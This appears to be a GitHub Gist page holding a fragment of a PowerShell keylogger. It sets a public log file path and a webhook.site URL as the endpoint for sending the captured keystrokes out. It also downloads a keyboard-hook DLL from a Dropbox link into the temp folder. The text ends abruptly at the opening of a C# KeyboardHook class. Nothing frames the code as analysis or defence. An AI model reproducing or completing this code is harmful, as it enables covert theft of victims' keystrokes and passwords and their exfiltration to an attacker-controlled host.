Skip to content

Instantly share code, notes, and snippets.

$LogFile="C:\Users\Public\keylog.txt";
$WebhookUrl="https://webhook.site/b2754bc2-35bb-4b6b-a06c-39fd0ffc74f3"; #Webhook
$SendThreshold=200;
# DLL LOAD
$dllUrl = "https://www.dropbox.com/scl/fi/kew0lk3zlmxpfvxk9369a/KeyboardHookAssembly.dll?rlkey=7kisrfo27yqebg6l1stxpm02j&st=8bl7f8zd&dl=1"; # Proveri i ažuriraj!
$dllPath = Join-Path $env:TEMP "KeyboardHookAssembly.dll";
try {
(New-Object System.Net.WebClient).DownloadFile($dllUrl, $dllPath);
namespace KeyboardHook;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class KeyboardHook
{